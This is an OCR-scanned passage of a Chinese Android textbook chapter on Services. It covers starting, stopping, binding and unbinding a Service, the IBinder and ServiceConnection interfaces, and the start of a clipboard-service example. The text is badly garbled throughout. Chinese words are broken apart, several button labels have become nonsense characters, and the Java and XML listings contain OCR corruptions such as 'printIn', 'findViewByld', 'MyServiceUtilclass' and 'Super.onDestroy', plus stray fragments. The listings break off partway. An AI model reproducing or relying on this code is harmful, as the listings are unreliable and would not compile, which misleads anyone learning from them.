p public boolean stopService(Intent name) 停止 一 个 Service 


ublic boolean bindService(Intent service, 
. 人 2 与 一 个 Service 绑 定 
ServiceConnection conn, int flags) 


public void unbindService(ServiceConnection conn 普 和 取消 与 一 个 Service 的 绑 定 


Service 程序 与 Activity 程序 一 样 ， 都 有 其 生命 周期 ， 而 在 Service 的 基本 生命 周期 里 ， 只 需 
要 使 用 startService0 和 stopService() 两 个 操作 方法 即 可 ， 下 面 通过 程序 说 明 。 
【 例 9-62】 定义 用 户 的 Service 组 件 

package org.Ixh.demo; 

import android.app.Service; 

import android.content. Intent; 

import android.os.lBinder; 

public class MyServiceUtil extends Service { /必须 继承 Service 
@Override 
public IBinder onBind(Intent intent) { // 绑 定 Activity 

return null; 


MyServiceUtil.java 


} 
@Override 
public void onCreate() { 1/ 创建 时 调用 
System.out.printIn(*** Service onCreate()"); 
} 
@Override 
public void onDestroy() { 1/ 销毁 时 调用 
System.out.printIn(™*** Service onDestroy()"); 
} 
@Override 
public int onStartCommand(Intent intent, int flags, int startld) { // 开 始 Service 
System.out.printiIn(™*** Service onStart() --> Intent =" + intent 
+", startld =" + startld); 
return Service.START_CONTINUATION_MASK ; ”1/ 继 续 执行 Service 
} 
} 
在 本 程序 中 首先 继承 了 Service 类 ， 随 后 履 写 了 Service 类 中 的 方法 ， 由 于 其 功能 较为 简单 ， 
所 以 只 是 在 各 个 方法 上 进行 了 简单 的 系统 输出 。 
【 例 9-63】 定义 布局 管理 器 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<Button // 定 义 按钮 组 件 

android:id="@+id/start” /组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
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android:text= "启动 Service"/> /默认 显示 文字 
<Button // 定 义 按钮 组 件 
android:id="@+id/stop” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 僻 人 Service"/> /默认 显示 文字 
</LinearLayout> 


在 本 布局 管理 器 中 ， 只 定义 了 两 个 按钮 ， 主 要 功能 是 启动 和 停止 一 个 Service 程序 。 
【 例 9-64】 定义 Activity 程序 ， 操 作 Service 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content. Intent; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

public class MyServiceDemo extends Activity { 


private Button start; /定义 按钮 
private Button stop; /定义 按钮 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.start = (Button) super .findViewByld(R.id.stant); // 取 得 组 件 
this.stop = (Button) super.findViewByld(R.id.stop); // 取 得 组 件 


this.start.setOnClickListener(new StartOnClickListenerImpl()) ; // 单 击 事件 
this.stop.setOnClickListener(new StopOnClickListenerImpl()) ; // 单 击 事件 


} 
private class StartOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
MyServiceDemo.this.startService(new Intent( 
MyServiceDemo.this, MyServiceUtilclass)); /启动 Service 
} 
} 
private class StopOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
MyServiceDemo.this.stopService(new Intent( 
MyServiceDemo.this, MyServiceUtil.class)); /停止 Service 
} 
} 


} 
在 本 程序 中 ， 首 先 取得 了 两 个 控制 Service 的 按钮 ， 随 后 分 别 在 按钮 上 设置 启动 服务 
(startService()) 和 停止 服务 (stopService()) 的 操作 。 
-个 Service 程序 编写 完成 之 后 还 需要 在 项 目的 AndroidManifest.xml 文件 中 进行 注册 ， 在 
<application> 节 点 下 添加 如 下 代码 : 
<service android:name=".MyServiceUtil" /> 
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【 例 9-65】 完整 的 AndroidManifest.xml 文件 
<?xml version="1.0" encoding="utf-8"?> 


<manifest // 配 置 根 节点 
xmlns:android="http:/schemas.android.com/apK/res/android" 
package="org./xh.demo” // 应 用 程序 所 在 的 包 名 称 
android:versionCode="1" // 表 示 程 序 版 本 
android:versionName="1.0"> // 显 示 给 用 户 的 版 本 信息 
<uses-sdk android:minSdkVersion="10" /> /Android 程序 使 用 的 最 低级 别 
<application // 表 示 应 用 程序 的 配置 
android:icon="@drawable/icon”" // 配 置 整个 应 用 程序 的 图 标 
android:label="@string/app_name"> // 配 置 的 是 标签 显示 信息 ， 从 strings.xml 中 读 取 
<activity // 配 置 程序 中 要 使 用 的 Activity 程序 
android:name=". ServiceBasicDemo” // 指 定 的 是 Activity 程序 的 类 名 称 
android:label="@string/app_name”> // 从 资源 文件 中 取出 程序 的 名 称 
<intent-filter> // 应 用 程序 一 运行 就 执行 此 Activity 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 
<service android:name=".MyServiceUti/l" /> // 指 定 操作 的 Service 程序 
</application> // 完 结 标记 
</manifest> 


由 于 本 程序 的 所 有 操作 在 后 台 输 出 ， 下 面 通 过 按钮 的 操作 进行 演示 ， 步 骤 及 输出 信息 如 下 


所 示 。 


(1) 首次 单 击 “ 启 动 Service” 按 钮 。 


08-29 09:20:21.243: INFO/System.out(441): *** Service onCreate() 
08-29 09:20:21.274: INFO/System.out(441): *** Service onStart() --> Intent = Intent { cmp=org. 
lxh.demo/.MyServiceUtil } , startld = 1 


0 


(2) 重复 单 击 “ 启 动 Service” 按 钮 。 
8-29 09:24:12.133: INFO/System.out(589): *** Service onStart() --> Intent = Intent { cmp=org. 


lxh.demo/.MyServiceUtil } , startld = 2 


0 


通过 程序 的 运行 可 以 发 现 ， 当 一 个 


Servic 


onCreate() 方 法 ， 再 调用 onStart0 方 法 ,但 


是 当 
调用 
onCre: 


会 调 月 


程序 将 运行 在 手机 的 后 台 ， 如 果 想 查询 这 
些 方法 ， 可 以 选择 【设置 】~~【 应 用 程序 】 


(3) 单 击 “ 结 束 Service” 按 钮 。 
8-29 09:24:23.314: INFO/System.out(589): *** Service onDestroy() 


e 程序 第 一 次 运行 时 ， 会 首先 调用 


-个 Service 启动 之 后 ， 则 只 会 重复 一 
onStart() 方 法 ， 而 不 会 重复 调用 
ate() 方 法 , 当 结束 一 个 Service 之 后 ， Android 服 务 
日 onDestroy() 方 法 。 [a 程 

-个 Service 程序 启动 之 后 ， 所 有 的 我 谷 


已 用 空间 : 41MB 可 用 空间 : 193MB 


wad 


E 在 运行 的 服务 】 命 令 ， 之 后 即 可 看 


到 如 图 9-42 所 示 的 界面 。 图 9-42 查看 手机 服务 
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9.6.2” 绪 定 Service 


当 一 个 Service 程序 启动 之 后 ， 如 果 没 有 出 现 意 外 且 明 确 地 调用 stopService0 方 法 ， 则 将 会 一 


直 驻 留 在 手机 的 服务 之 


Ph， 如 果 希 望 由 Activity 启动 的 Service 程序 可 以 在 Activity 程序 结束 后 自 


动 结束 ， 则 可 以 将 Activity 和 Service 程序 进行 绑 定 。 在 Activity 类 中 专门 提供 了 一 个 用 于 绑 定 
Service 的 bindService0 方 法 (如 表 9-21 所 示 ), 在 此 方法 中 有 一 个 android.content.ServiceConnection 
接口 的 参数 ， 此 接口 定义 的 方法 如 表 9-22 所 示 。 


方 


表 9-22 ServiceConnection 接口 定义 的 方法 
法 描 述 


public abstract void onServiceConnected 


当 与 一 个 Service 建立 连接 时 调用 


(ComponentName name, IBinder service) 


public abstract void onServiceDisconnected 


当 与 一 个 Service 取消 连接 时 调用 


(ComponentName name) 


通过 表 9-22 可 以 发 现 ，ServiceConnection 接口 的 主要 功能 是 当 一 个 Activity 程序 与 Service 
建立 连接 之 后 ， 执 行 Service 连接 或 取消 连接 的 处 理 操作 ， 在 Activity 连接 到 Service 程序 之 后 ， 


会 触发 Service 类 中 的 
IBinder 接口 定义 的 常量 


onBind() 方 法 ， 在 此 方法 中 要 返回 一 个 android.os.IBinder 接口 的 对 象 ， 
及 方法 如 表 9-23 所 示 。 


表 9-23 1IBinder 接口 的 常量 及 方法 


常量 及 方法 | 类 型 | 描述 
public static final int DUMP TRANSACTION IBinder 协议 的 事务 码 :清除 内 部 状态 


public static final int FIRST CALL 


用 户 指令 的 第 一 个 事务 码 可 用 


TRANSACTION 
transact() 方 法 单 向 调用 的 标志 位 ， 表 
public static final int FLAG ONEWAY 示 调 用 者 不 会 等 待 从 被 调用 者 奢 里 
返回 的 结果 ， 而 立即 返回 
public static final int INTERFACE i IBinder 协议 的 事务 码 : 向 事务 接收 端 
TRANSACTION 询问 其 完整 的 接口 规范 
public static final int LAST_CALL_ 用 户 指令 的 最 后 一 个 事务 码 可 用 
TRANSACTION 
public static final int PING TRANSACTION 量 IBinder 协议 的 事务 码 : pingBinderO 
有 abstract void dump(FileDescriptor fd, 向 指定 的 数据 流 输出 对 象 状态 
String[] args) 
取得 被 Binder 对 象 所 支持 的 接口 名 称 
丛 查 Binder 所 在 的 进程 是 否 活着 
public abstract void linkToDeath(IBinder. 如 果 指 定 的 Binder 消失 , 则 为 通知 注 
DeathRecipient recipient, int flags) 册 一 个 新 的 接收 器 
public abstract boolean pingBinder0) 检查 远程 对 象 是 否 存在 
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常量 及 方法 描述 
public abstract Interface queryLocalInterface 


2 取得 对 一 个 接口 绑 定 对 象 本 地 实现 
(String descriptor) 


public abstract boolean transact(int code, Parcel 执行 一 个 一 般 的 操作 
data, Parcel reply, int flags, 
public abstract boolean unlinkToDeath(IBinder. 删除 一 个 接收 通知 的 接收 器 


DeathRecipient recipient, int flags) 


在 IBinder 接口 中 提供 的 方法 很 多 ， 所 以 有 时 也 可 以 使 用 IBinder 接口 的 子 类 android.os. 
Binder 进行 接口 对 象 的 实例 化 操作 , 下 面 通过 一 个 代码 演示 Activity 和 Service 互相 绑 定 的 操作 。 
< 
了 提示 
关于 ServiceConnection 和 Service 的 联系 。 
默认 情况 下 ， 当 一 个 Activity 程序 启动 Service 之 后 ， 该 Service 程序 是 在 后 台独 自 运行 
的 ， 与 前 台 的 Activity 就 再 也 没有 关系 了 ， 而 使 用 ServiceConnection 就 表示 该 Service 永远 
要 和 这 个 Activity 程序 绑 定 在 一 起 ， 不 再 是 独立 运行 了 。 


【 例 9-66】 定义 Service 类 一 一 MyServicejava 
package org.Ixh.demo; 
import android.app.Service; 
import android.content.Intent; 
import android.os.Binder'; 
import android.os.IBinder 
public class MyServiceUtil extends Service { /必须 继承 Service 
private IBinder myBinder = new Binder(){ 
@Override 
public String getlnterfaceDescriptor(){ // 取 得 接口 描述 信息 
return "MyService class."; // 返 回 Service 类 的 名 称 
} 
}; 
@Override 
public IBinder onBind(Intent intent) { // 绑 定时 触发 
System.out.printIn(**** Service onBind() Intent = " + intent) ; 
return myBinder; 
} 
@Override 
public void onRebind(Intent intent) { /重新 绑 定 时 触发 
System.out.printIn(™*** Service onRebind() Intent = " + intent); 
super.onRebind(intent); 
} 
@Override 
public boolean onUnbind(Intent intent) { // 解 除 绑 定时 触发 
System.outprintln(“** Service onUnbind() Intent = " + intent); 
return super.onUnbind(intent); 
} 
@Override 
public void onCreate() { /创建 时 触发 
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} 


System.out.printIn(™*** Service onCreate()"); 


super.onCreate(); 
} 
@Override 
public void onDestroy() { 


System.out.printIn("*** Service onDestroy()"); 


Super.onDestroy(); 
} 
@Override 
public int onStartCommand(lntent intent, 
int flags, int startld) { 


/销毁 时 触发 


/启动 时 触发 


System.out.printIn(™*** Service onStartCommand() Intent = " + intent); 
return Service.START_CONTINUATION_MASK: 


} 


在 MyService 子 类 中 ， 已 经 将 Service 类 中 的 主要 方法 全 部 进行 了 获 写 ， 而 当 启 动 Service、 
停止 Service、 绑 定 Service 时 ， 都 会 有 相应 的 操作 方法 进行 触发 。 


【 例 


9-67】 定义 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 
xmlins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="vertica/" 

android:layout_width="fill_parent”" 

android:layout_height="fill_parent"> 

<Button 
android:id="@+id/start” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text= "启动 Service"/> 

<Button 
android:id="@+id/stop” 
android:layout_width="fill_parent”" 
android:layout_height="wrap_content” 
android:text=" 个 /上 Service" /> 

<Button 
android:id="@+id/bind" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:text=" 纺 害 Service"/> 

<Button 
android:id="@+id/unbind" 
android:layout_width="fill_parent”" 
android:layout_height="wrap_content” 
android:text=" 衣 悦 绵 秆 Service”" /> 


</LinearLayout> 


本 布 
【 例 


9-68】 


package org.Ixh.demo; 
import android.app.Activity; 


/线性 布局 管理 器 


/所 有 组 件 垂直 摆 放 
// 布 局 管理 器 的 宽度 为 屏幕 宽度 
// 布 局 管理 器 的 高 度 为 屏幕 高 度 
/按钮 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
// 默 认 显示 文字 

// 按 钮 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
/| 默认 显示 文字 

// 按 钮 组 件 

/| 组件 iD， 程序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
// 默 认 显示 文字 
/按钮 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
/默认 显示 文字 


局 管理 器 中 定义 了 4 个 按钮 组 件 ， 分 别 对 应 Service 的 4 种 不 同 操作 。 
定义 Activity 程序 ， 操 作 Service 
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import android.content.ComponentName; 
import android.content.Context; 

import android.content.Intent; 

import android.content.ServiceConnection; 
import android.os.Bundle; 

import android.os.IBinder; 

import android.os.RemoteException; 
import android.view.View; 

import android.view.View.OnClickListener 
import android.widget.Button; 

public class MyServiceDemo extends Activity { 


private Button start; // 定 义 按钮 
private Button stop; // 定 义 按钮 
private Button bind; // 定 义 按钮 
private Button unbind; // 定 义 按钮 
private ServiceConnection serviceConnection = new ServiceConnection() { 

@Override 

public void onServiceConnected(ComponentName name, 

lBinder service) { // 连 接 到 Service 
try{ 


System.out.printIn("##}# Service Connect Success. service =" 
+ Service.getlnterfaceDescriptor()); 
}catch (RemoteException e) { 
e.printStackTrace(); 
J 


} 
@Override 
public void onServiceDisconnected(ComponentName name) { // 与 Service 断 开 连 接 


System.out.printIn("### Service Connect Failure."); 


} 
// 接 收服 务 状态 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.start = (Button) super.findViewByld(R.id.start); // 取 得 组 件 
this.stop = (Button) super.findViewByld(R.id. stop); // 取 得 组 件 
this.bind = (Button) super .findViewByld(R.id.bind); // 取 得 组 件 
this.unbind = (Button) super .findViewByld(R.id.unbind); // 取 得 组 件 
this.start.setOnClickListener(new StartOnClickListenerImpl()) ; /| 单 击 事件 
this.stop.setOnClickListener(new StopOnClickListenerImpl()) ; // 单 击 事件 
this.bind.setOnClickListener(new BindOnClickListenerlImpl()) ; // 单 击 事件 
this.unbind.setOnClickListener(new UnbindOnClickListenerImpl()) ; // 单 击 事件 

} 

private class StartOnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 
MyServiceDemo.this.startService(new Intent( 
MyServiceDemo.this, MyServiceUtil.class)); /启动 Service 
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private class StopOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
MyServiceDemo.this.stopService(new Intent( 
MyServiceDemo this, MyServiceUtil.class)); /停止 Service 
} 
} 
private class BindOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 

MyServiceDemo.this.bindService(new Intent(MyServiceDemo.this, 
MyServiceUtil.class), MyServiceDemo.this.serviceConnection, 
Context.BIND_AUTO_CREATE); // 绑 定 Service 

b 
让 
private class UnbindOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
MyServiceDemo.this 
.unbindService(MyServiceDemo.this.serviceConnection);// 取 消 Service 绑 定 
} 
} 


} 
本 程序 中 分 别 使 用 4 个 按钮 进行 Service 的 操作 ， 启 动 Service 使 用 了 startService() 方 法 ， 停 
止 Service 使 用 了 stopService0 方 法 ， 与 Service 绑 定 使 用 了 bindService0 方 法 ， 而 解除 绑 定 使 用 了 
unbindService0 方 法 ， 这 4 种 操作 将 通过 按钮 进行 控制 ， 每 种 操作 之 后 的 系统 输出 信息 如 下 所 示 。 
(1) 单 击 “ 启 动 Service” 按 钮 ， 输 出 信息 如 下 : 
08-29 10:13:26.739: INFO/System.out(404): *** Service onCreate() 
08-29 10:13:26.760: INFO/System.out(404): *** Service onStartCommand() Intent = Intent { cmp= 
org.Ixh.demo/.MyServiceUtil } 
通过 程序 可 以 发 现 , 当 单 击 “ 启 动 Service” 按 钮 之 后 , 会 首先 调用 onCreate() 方 法 进行 创建 ， 
而 后 将 触发 onStartCommand() 方 法 。 
(2) 单 击 “ 绑 定 Service” 按 钮 ， 输 出 信息 如 下 : 
08-29 10:13:40.299: INFO/System.out(404): *** Service onBind() Intent = Intent { cmp=org.Ixh. 
demo/.MyServiceUtil } 
08-29 10:13:40.339: INFO/System.out(404): ### Service Connect Success. service = MyServiceUtil 
class. 
当 使 用 bindService() 方 法 将 Activity 和 Service 绑 定 之 后 会 触发 onBind() 方 法 , 同时 可 以 使 用 
ServiceConnection 接口 的 对 象 取得 被 绑 定 的 Service 对 象 。 
(3) 取消 第 (1) 步 和 第 〈2) 步 ， 直 接 单 击 “ 绑 定 Service” 按 钮 ， 输 出 信息 如 下 : 
08-29 10:00:16.464: INFO/System.out(704): *** Service onCreate() 


08-29 10:00:16.483: INFO/System.out(704): ** Service onBind() Intent = Intent { cmp=org.Ixh. 
demo/.MyServiceUtil } 

08-29 10:00:16.524: INFO/System.out(704): ### Service Connect Success. service = MyService 
class. 


如 果 用 户 没 有 单 击 “ 启 动 Service” 按 钮 ， 也 会 在 服务 绑 定 前 为 用 户 自动 进行 服务 的 启动 ， 
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即 默 认 调用 onCreate0 方 法 。 
(4) 不 单 击 “ 停 止 Service” 按 钮 ， 直 接 退 出 Activity 程序 ， 输 出 信息 如 下 : 
08-29 10:13:51.630: INFO/System.out(404): *** Service onUnbind() Intent = Intent { cmp=org.Ixh. 
demo/.MyServiceUtil } 
当 服 务 启动 之 后 , 实际 上 就 驻扎 在 了 手机 的 系统 后 台 , 因为 Activity 程序 被 关闭 后 ,与 Service 
连接 的 Activity 就 消失 了 ， 所 以 此 处 要 解除 与 Activity 程序 的 绑 定 ， 但 是 服务 并 不 会 销毁 。 
(5) 返回 Activity 程序 ， 单 击 “ 绑 定 Service ”按钮 ， 输 出 信息 如 下 : 
08-29 19:12:00.035: INFO/System.out(28188): ### Service Connect Success. service = MyServiceUtil 
class. 
当 用 户 再 次 回 到 Activity 程序 之 后 ， 则 可 以 重新 取得 一 个 Activity 和 Service 之 间 绑 定 的 
ServiceConnect 接口 对 象 。 
(6) 单 击 “ 解 除 绑 定 Service” 按 钮 ， 输 出 信息 如 下 : 
08-29 19:14:13.965: INFO/System.out(28539): *** Service onUnbind() Intent = Intent { cmp=org. 
lxh.demo/.MyServiceUtil } 
当 用 户 解 除 Activity 和 Service 的 互相 绑 定之 后 ， 会 自动 调用 取消 绑 定 的 方法 。 
(7) 单 击 “ 停 止 Service” 按 钮 ， 输 出 信息 如 下 : 
08-29 19:14:30.662: INFO/System.out(28539): *** Service onDestroy() 
当 用 户 单 击 “ 停 止 Service” 按 钮 之 后 , 就 表示 Service 程序 将 不 再 执行 , 于 是 进行 销毁 操作 。 
通过 以 上 Service 信息 输出 可 以 发 现 ， 当 一 个 Activity 退出 时 ，Service 只 会 取消 绑 定 ， 而 不 
会 销毁 ， 而 如 果 用 户 没有 启动 Service 而 直接 选择 了 绑 定 Service， 也 会 先 启 动 之 后 再 进行 绑 定 ， 
当 一 个 Service 与 一 个 Activity 程序 绑 定之 后 ， 会 使 用 ServiceConnection 返回 连接 成 功 的 信息 。 
以 上 程序 完成 了 Activity 与 Service 之 间 的 连接 ， 但 是 细心 的 读者 可 以 发 现 ， 在 本 程序 中 存 
在 一 个 bug, 即 如 果 现 在 没有 服务 与 Activity 进行 绑 定 而 又 调用 了 解除 绑 定 操作 , 则 会 出 现 错误 。 
所 以 , 在 解除 绑 定之 前 必须 要 增加 一 个 判断 : 判断 一 个 Activity 是 否 和 一 个 Service 绑 定 在 一 起 ， 
如 果 绑 定 在 一 起 ， 才 可 以 使 用 unbindService() 方 法 解除 绑 定 。 
但 遗憾 的 是 , 在 Android 中 并 没有 提供 这 样 的 一 个 判断 方法 , 那么 该 如 何 实现 呢 ? 一 般 的 做 
法 是 定义 一 个 标记 性 的 操作 接口 ,而 后 在 Activity 中 判断 此 接口 对 象 是 否 为 null 来 决定 是 否 绑 定 
了 Service， 下 面 通 过 一 个 实际 的 代码 来 观察 。 本 程序 为 了 方便 ， 只 提供 了 绑 定 服务 与 解除 绑 定 
两 个 操作 。 
【 例 9-69】 定义 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<Button /按钮 组 件 

android:id="@+id/bind" /组件 ID， 程 序 中 使 用 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:text=" 纺 害 Service"/> /默认 显示 文字 
<Button /按钮 组 件 

android:id="@+id/unbind” // 组 件 ID， 程 序 中 使 用 
android:layout_width="7/_parent // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
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做 


android:text=" 诈 拭 纺 害 Service"/> /默认 显示 文字 
</LinearLayout> 
在 本 布局 管理 器 中 ， 定 义 了 两 个 按钮 组 件 ， 分 别 用 于 完成 绑 定 服务 与 解除 绑 定 服务 的 操作 。 
【 例 9-70】 定义 标记 性 接口 一 一 Iservice 
package org.Ixh.demo; 
public interface IlService { 
} 
由 于 IService 接口 只 负责 完成 标记 性 的 判断 , 所 以 没有 定义 任何 其 他 方法 , 需要 在 服务 类 中 


【 例 9-71】 定义 服务 类 一 一 MyServiceUtil 
package org.Ixh.demo; 
import android.app.Service; 
import android.content. Intent; 
import android.os.Binder; 
import android.os.lBinder; 


public class MyServiceUtil extends Service { /必须 继承 Service 
private IBinder myBinder = new Binderlmpl() ; /定义 IBinder 
@Override 
public IBinder onBind(Intent intent) { // 绑 定时 触发 


System.out println(““** Service onBind() Intent = " + intent) ; 
return myBinder; 


} 
class BinderImpl extends Binder implements IService { 
@Override 
public String getlnterfaceDescriptor(){ // 取 得 接口 描述 信息 
return "MyService class."; /返回 Service 类 的 名 称 
} 
lb 


} 
在 该 服务 类 中 只 窗 写 了 一 个 onBind0 方 法 ， 用 于 完成 Activity 和 Service 之 间 的 绑 定 操作 ， 但 


是 在 定义 IBinder 对 象 时 , 让 其 多 实现 了 一 个 IService 接口 ,这 样 以 后 就 可 以 通过 ServiceConnection 
中 的 onServiceConnected() 方 法 取得 此 IService 子 类 对 象 。 


【 例 9-72】 定义 Activity 程序 ， 绑 定 服务 

package org.Ixh.demo; 

import org.lxh.demo.MyServiceUtil.BinderImpl; 

import android.app.Activity; 

import android.content.ComponentName; 

import android.content.Context; 

import android.content. Intent; 

import android.content.ServiceConnection; 

import android.os.Bundle; 

import android.os.IBinder; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

public class MyServiceDemo extends Activity { 
private Button bind; /定义 按钮 
private Button unbind; /定义 按钮 
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private ServiceConnection serviceConnection = new ServiceConnectionImpl(); 

private |Service service = null ; 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this.bind = (Button) super.findViewByld(R.id.bind); /取得 组 件 
this.unbind = (Button) super.findViewByld(R.id.unbind); /取得 组 件 
this.bind.setOnClickListener(new BindOnClickListenerlImpl()) ; /| 单 击 事件 
this.unbind.setOnClickListener(new UnbindOnClickListenerImpl()) ; // 单 击 事件 

} 

private class BindOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 

MyServiceDemo.this.bindService(new Intent(MyServiceDemo.this, 
MyServiceUtil.class), MyServiceDemo.this.serviceConnection, 
Context.BIND_AUTO_CREATE); // 绑 定 Service 

} 
} 
private class UnbindOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
if(MyServiceDemo.this.service != null){ 
MyServiceDemo.this 
.unbindService(MyServiceDemo. 
this.serviceConnection); /取消 Service 绑 定 
MyServiceDemo.this.service = null ; /清空 标记 
1 
l 
} 
private class ServiceConnectionImpl implements ServiceConnection { 
@Override 
public void onServiceConnected(ComponentName name, 
lBinder service) { // 连 接 到 Service 
MyServiceDemo.this.service = (BinderImpl)service ; // 取 得 1Service 接口 对 象 
} 
@Override 
public void onServiceDisconnected(ComponentName name) { // 与 Service 断 开 连 接 
} 
} 


} 

本 程序 与 之 前 程序 的 主要 区 别 有 以 下 两 点 。 

加 ”如果 绑 定 服务 , 则 在 ServiceConnection 接口 的 子 类 中 取得 被 绑 定 的 IService 对 象 , 并 以 
此 判断 是 否 绑 定 。 

加 在 解除 绑 定时 首先 判断 是 和 否 有 绑 定 的 接口 对 象 ， 如 果 存 在 则 解除 ， 如 果 不 存 在 则 不 做 
任何 操作 。 

本 程序 只 是 一 个 功能 性 的 说 明 操 作 ， 如 果 日 后 碰见 类 似 的 问题 ， 可 以 采用 本 程序 的 解决 方 


式 ， 而 且 在 本 书 的 第 11 章 中 讲解 电话 服务 时 也 会 采用 本 程序 完成 ， 具 体 的 应 用 可 以 查看 第 11 
章 的 内 容 。 
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9.6.3 ”操作 系统 服务 


掌握 Service 的 基本 概念 后 ， 下 面 来 看 儿 个 由 系统 所 提供 的 Service 程序 的 使 用 。 在 Android 
操作 系统 中 ， 为 了 方便 用 户 使 用 系统 服务 ， 在 android.content.Context 类 中 将 所 有 的 系统 服务 名 
你 以 常量 的 形式 进行 了 绑 定 ， 用 户 使 用 时 直接 利用 getSystemService() 方 法 指定 好 服务 的 名 称 就 
可 以 取得 。Context 类 中 定义 的 一 些 系 统 服务 的 名 称 如 表 9-24 所 示 。 


表 9-24 Context 类 中 定义 的 系统 服务 


No. 常 量 描述 
1 public static final String CLIPBOARD SERVICE 剪贴 板 服务 
2 public static final String WINDOW_ SERVICE 窗口 服务 
3 public static final String ALARM SERVICE 闸 铃 服务 
4 public static final String AUDIO_SERVICE 音频 服务 
% public static final String NOTIFICATION SERVICE Notification 服务 
6 public static final String SEARCH SERVICE 搜索 服务 
Vi public static final String POWER_SERVICE 电源 管理 服务 
8 public static final String WIFI SERVICE WiFi 服务 
9 public static final String ACTIVITY SERVICE 运行 程序 服务 


在 Android 中 ,所 有 服务 名 称 的 定义 格式 都 是 <*XXX_SERVICE”, 读者 可 以 自行 查阅 Android 
开发 文档 获得 更 多 的 服务 名 称 。 


[ie 


提示 
下 面 的 程序 只 是 为 了 说 明 服务 的 使 用 。 
在 Android 中 有 许多 操作 服务 , 而 在 本 书后 面 的 章节 中 , 也 会 使 用 大 量 的 服务 进行 操作 ， 
所 以 下 面 只 是 通过 代码 为 读者 演示 一 些 常见 的 信息 服务 ， 为 以 后 的 学 习 打 下 基础 。 


1. 系统 剪贴 板 服务 


在 使 用 Android 手机 时 ， 可 以 采用 “复制 一 粘贴 ” 文本 的 方式 进行 操作 ， 剪 贴 板 的 服务 名 称 
为 CLIPBOARD SERVICE， 而 取得 的 服务 对 象 所 在 的 类 为 android.text.ClipboardManager， 此 类 
的 常用 方法 如 表 9-25 所 示 。 


表 9-25 ClipboardManager 类 定义 的 方法 


No | 描述 

1 取得 剪贴 板 保存 的 内 容 
4 public boolean hasTextO 判断 剪贴 板 中 是 否 还 有 内 容 
3 public void setText(CharSequence text) 普 和 设置 剪贴 板 中 的 内 容 

下 面 通过 具体 程序 进行 剪贴 板 服务 操作 的 演示 。 

【 例 9-73】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout /线性 布局 管理 器 
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xmlIns:android="http:/schemas.android.com/apK/res/android™ 


android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<EditText // 文 本 输入 框 
android:layout_width="fil/_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 9-74】 定义 Activity 程序 ， 操 作 剪 贴 板 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Context; 
import android.os.Bundle; 
import android.text.ClipboardManager; 
public class MyClipboardDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 设 置 布 局 管理 器 
ClipboardManager clipboardManager = (ClipboardManager) 
